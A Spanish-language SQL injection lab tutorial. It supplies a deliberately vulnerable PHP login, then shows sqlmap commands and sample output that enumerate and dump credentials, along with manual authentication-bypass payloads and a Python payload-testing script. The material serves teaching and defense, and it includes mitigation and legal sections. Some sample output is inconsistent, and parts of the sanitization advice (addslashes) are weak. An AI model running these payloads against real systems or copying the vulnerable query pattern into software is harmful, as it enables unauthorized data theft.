Laboratorio Completo: Ataque de Inyección SQL con SQLmap

Índice

1. Fundamentos Teóricos
2. Configuración del Laboratorio
3. Metodología del Ataque
4. Ejecución Paso a Paso
5. Prevención y Mitigación
6. Ejercicios Prácticos

Fundamentos Teóricos

¿Qué es la Inyección SQL?

La inyección SQL es una técnica de ataque que explota vulnerabilidades en aplicaciones web que no sanitizan adecuadamente las entradas del usuario. El atacante inserta código SQL malicioso en campos de entrada para manipular la base de datos subyacente.

Clasificación OWASP

- **Categoría**: A03:2021 - Injection
- **Impacto**: Alto (pérdida de datos, compromiso de integridad, denegación de servicio)

Tipos de Inyección SQL

1. **In-Band SQLi**: El atacante obtiene resultados directamente (más común)
   - Union-based: Usa UNION SELECT
   - Error-based: Explota mensajes de error
2. **Blind SQLi**: No hay respuesta visible
   - Boolean-based: Diferencia en respuestas True/False
   - Time-based: Retrasos en las respuestas
3. **Out-of-Band SQLi**: Canales alternativos (DNS, HTTP)

SQLmap: Herramienta de Automatización

SQLmap es una herramienta open-source diseñada para automatizar el proceso de detección y explotación de vulnerabilidades SQLi.

Parámetros Clave:

Parámetro	Descripción
`-u`	URL objetivo
`--data`	Datos POST
`--method`	Método HTTP (GET/POST)
`--level`	Nivel de prueba (1-5)
`--risk`	Riesgo de prueba (1-3)
`--dbs`	Enumerar bases de datos
`-D`	Especificar base de datos
`-T`	Especificar tabla
`--dump`	Extraer datos

Configuración del Laboratorio

1. Entorno Requerido

```bash
# Máquina Atacante (Kali Linux)
sudo apt update
sudo apt install sqlmap

# Máquina Víctima (Servidor Web)
# Usaremos Docker para simular un entorno vulnerable
docker pull vulnerables/web-dvwa
```

```
docker run -d -p 80:80 vulnerables/web-dvwa
```

2. Aplicación Vulnerable (Creación Manual)

Código PHP Vulnerable (login.php):

```php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "lab_hack";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("Conexión fallida: " . $conn->connect_error);
}

$user = $_POST['username'];
$pass = $_POST['password'];

// VULNERABLE: Concatenación directa
$sql = "SELECT * FROM usuarios WHERE usuario='$user' AND password='$pass'";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    echo "Login exitoso";
} else {
    echo "Credenciales incorrectas";
}

$conn->close();
?>
```

3. Estructura de Base de Datos

```sql
CREATE DATABASE lab_hack;
USE lab_hack;
```

```sql
CREATE TABLE usuarios (
    id INT AUTO_INCREMENT PRIMARY KEY,
    usuario VARCHAR(50),
    password VARCHAR(255),
    email VARCHAR(100),
    rol VARCHAR(20)
);

INSERT INTO usuarios VALUES
(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin@lab.com', 'Administrador')
,
(2, 'usuario1', '5f4dcc3b5aa765d61d8327deb882cf99', 'user1@lab.com', 'Usuario'),
(3, 'usuario2', '5f4dcc3b5aa765d61d8327deb882cf99', 'user2@lab.com', 'Usuario'),
(4, 'root', '5f4dcc3b5aa765d61d8327deb882cf99', 'root@lab.com', 'SuperAdmin');
```

🔍 Metodología del Ataque

Fases del Ataque SQLi:

1. **Reconocimiento**
   - Identificar parámetros vulnerables
   - Determinar tipo de base de datos
   - Mapear estructura de la aplicación
2. **Enumeración**
   - Descubrir bases de datos
   - Identificar tablas y columnas
   - Extraer esquema de datos
3. **Explotación**
   - Extraer datos sensibles
   - Eludir autenticación
   - Escalada de privilegios
4. **Post-Explotación**
   - Control de la base de datos
   - Ejecución de comandos (si es posible)
   - Movimiento lateral

□ Ejecución Paso a Paso

Paso 1: Escaneo Básico y Detección

```bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
--level=3 \
--risk=2
```

Análisis Teórico:

- `--level=3`: Prueba más payloads (headers, parámetros)
- `--risk=2`: Incluye pruebas con más probabilidad de afectar datos
- El escaneo identifica si los parámetros son vulnerables

Output Esperado:

```text
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind
    Payload: username=admin' AND '1'='1' AND password=test

Parameter: password (POST)
    Type: error-based
    Title: MySQL error-based
    Payload: username=admin&password=test' OR '1'='1
```

Paso 2: Enumerar Bases de Datos

```bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
--dbs
```

Explicación:

- SQLmap inyecta `UNION SELECT` para listar bases de datos
- Identifica `information_schema` y bases de datos del sistema

Output:

```
text
available databases [5]:
[*] information_schema
[*] lab_hack
[*] mysql
[*] performance_schema
[*] test
```

Paso 3: Enumerar Tablas

```
bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
-D lab_hack \
--tables
```

Output:

```
text
Database: lab_hack
[2 tables]
+----------+
| usuarios |
| logs     |
+----------+
```

Paso 4: Enumerar Columnas

```
bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
-D lab_hack \
-T usuarios \
--columns
```

Output:

```
text
Table: usuarios
[4 columns]
+----------+--------------+
```

```
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| usuario  | varchar(50)  |
| password | varchar(255) |
| email    | varchar(100) |
| rol      | varchar(20)  |
+----------+--------------+
```

Paso 5: Extraer Credenciales

```
bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
-D lab_hack \
-T usuarios \
-C usuario,password \
--dump
```

Output:

```
text
Database: lab_hack
Table: usuarios
[4 entries]
+----------+----------------------------------------------+
| usuario  | password                                      |
+----------+----------------------------------------------+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99             |
| usuario1 | 5f4dcc3b5aa765d61d8327deb882cf99             |
| usuario2 | 5f4dcc3b5aa765d61d8327deb882cf99             |
| root     | 5f4dcc3b5aa765d61d8327deb882cf99             |
+----------+----------------------------------------------+
```

Paso 6: Extraer Solo el Admin

```
bash
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
-D lab_hack \
```

```
-T usuarios \
--dump \
--where="usuario='admin'"
```

Output:

```
text
Database: lab_hack
Table: usuarios
[1 entry]
+----------+----------------------------------------------+-------------------+
| usuario  | password                                     | email             |
+----------+----------------------------------------------+-------------------+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99             | admin@lab.com     |
+----------+----------------------------------------------+-------------------+
```

Prevención y Mitigación

1. Consultas Parametrizadas (Prepared Statements)

```
php
// Código Seguro
$stmt = $conn->prepare("SELECT * FROM usuarios WHERE usuario=? AND password=?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
$result = $stmt->get_result();
```

2. Validación de Entradas

```
php
// Sanitización básica
$user = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
$user = addslashes($user);
```

3. Principios de Menor Privilegio

```
sql
-- Crear usuario con permisos limitados
```

```
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT, INSERT ON lab_hack.* TO 'app_user'@'localhost';
-- NO dar permisos de DROP, ALTER, DELETE innecesarios
```

4. Herramientas de Prevención

- **WAF**: ModSecurity, AWS WAF
- **Escáneres de Vulnerabilidad**: OWASP ZAP, Burp Suite
- **Auditoría de Código**: SonarQube, Checkmarx

Ejercicios Prácticos

Ejercicio 1: Inyección Manual (Nivel Básico)

```
-- Payload para eludir autenticación
username: admin' OR '1'='1' --
password: cualquiercosa

-- Payload para extraer datos
username: admin' UNION SELECT 1,2,3,4,5 --
password: test
```

Ejercicio 2: Automatización con Python

```
python
import requests

url = "http://192.168.1.67/login.php"

# Payloads básicos
payloads = [
    "admin' OR '1'='1' -- ",
    "admin' AND 1=1 -- ",
    "admin' OR 1=1 -- "
]

for payload in payloads:
```

```
    data = {
        "username": payload,
        "password": "test"
    }
    response = requests.post(url, data=data)
    if "Login exitoso" in response.text:
        print(f"Payload exitoso: {payload}")
```

Ejercicio 3: Escaneo Avanzado

```
bash
# Escaneo completo con todas las opciones
sqlmap -u "http://192.168.1.67/login.php" \
--data="username=admin&password=test" \
--method=POST \
--level=5 \
--risk=3 \
--technique=BEUSTQ \
--batch \
--random-agent \
--threads=10
```

Tabla de Técnicas de Inyección

Técnica	Descripción	Uso Recomendado
UNION-based	Combina resultados de consultas	Extracción rápida de datos
Error-based	Explota mensajes de error	Identificación de estructura
Boolean-based	Compara respuestas true/false	Cuando no hay mensajes de error
Time-based	Mide tiempos de respuesta	Pruebas ciegas sin salida visible
Stacked Queries	Ejecuta múltiples consultas	Manipulación avanzada

---

Consideraciones Legales y Éticas

Aspectos Legales

- **Ley de Delitos Informáticos**: El uso no autorizado de técnicas de hacking es ilegal
- **GDPR**: La extracción de datos personales tiene severas penalizaciones
- **Responsabilidad**: Solo practicar en entornos controlados con permiso explícito

Buenas Prácticas

1. Obtener autorización por escrito antes de cualquier prueba
2. Documentar todas las pruebas realizadas
3. No extraer datos personales reales
4. Reportar vulnerabilidades de manera responsable
5. Mantener la confidencialidad de la información encontrada

Resumen del Laboratorio

Comandos Clave para Recordar

```bash
# 1. Detección
sqlmap -u URL --data="params" --method=POST --level=3 --risk=2

# 2. Enumerar bases de datos
sqlmap -u URL --data="params" --method=POST --dbs

# 3. Enumerar tablas
sqlmap -u URL --data="params" --method=POST -D dbname --tables

# 4. Extraer datos
sqlmap -u URL --data="params" --method=POST -D dbname -T tablename --dump
```

Recursos Adicionales

- **OWASP SQL Injection Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- **SQLmap Documentation**: https://sqlmap.org/
- **PortSwigger SQLi Labs**: https://portswigger.net/web-security/sql-injection

---

Conclusión

Este laboratorio demuestra cómo:

1. **Identificar** vulnerabilidades SQLi en aplicaciones web
2. **Explotar** estas vulnerabilidades usando SQLmap
3. **Extraer** datos sensibles de forma automatizada
4. **Mitigar** los riesgos mediante buenas prácticas de desarrollo

Lección Fundamental: La seguridad debe ser una prioridad desde la fase de diseño, no un parche posterior al desarrollo. Las consultas parametrizadas y la validación de entradas son la primera línea de defensa contra las inyecciones SQL.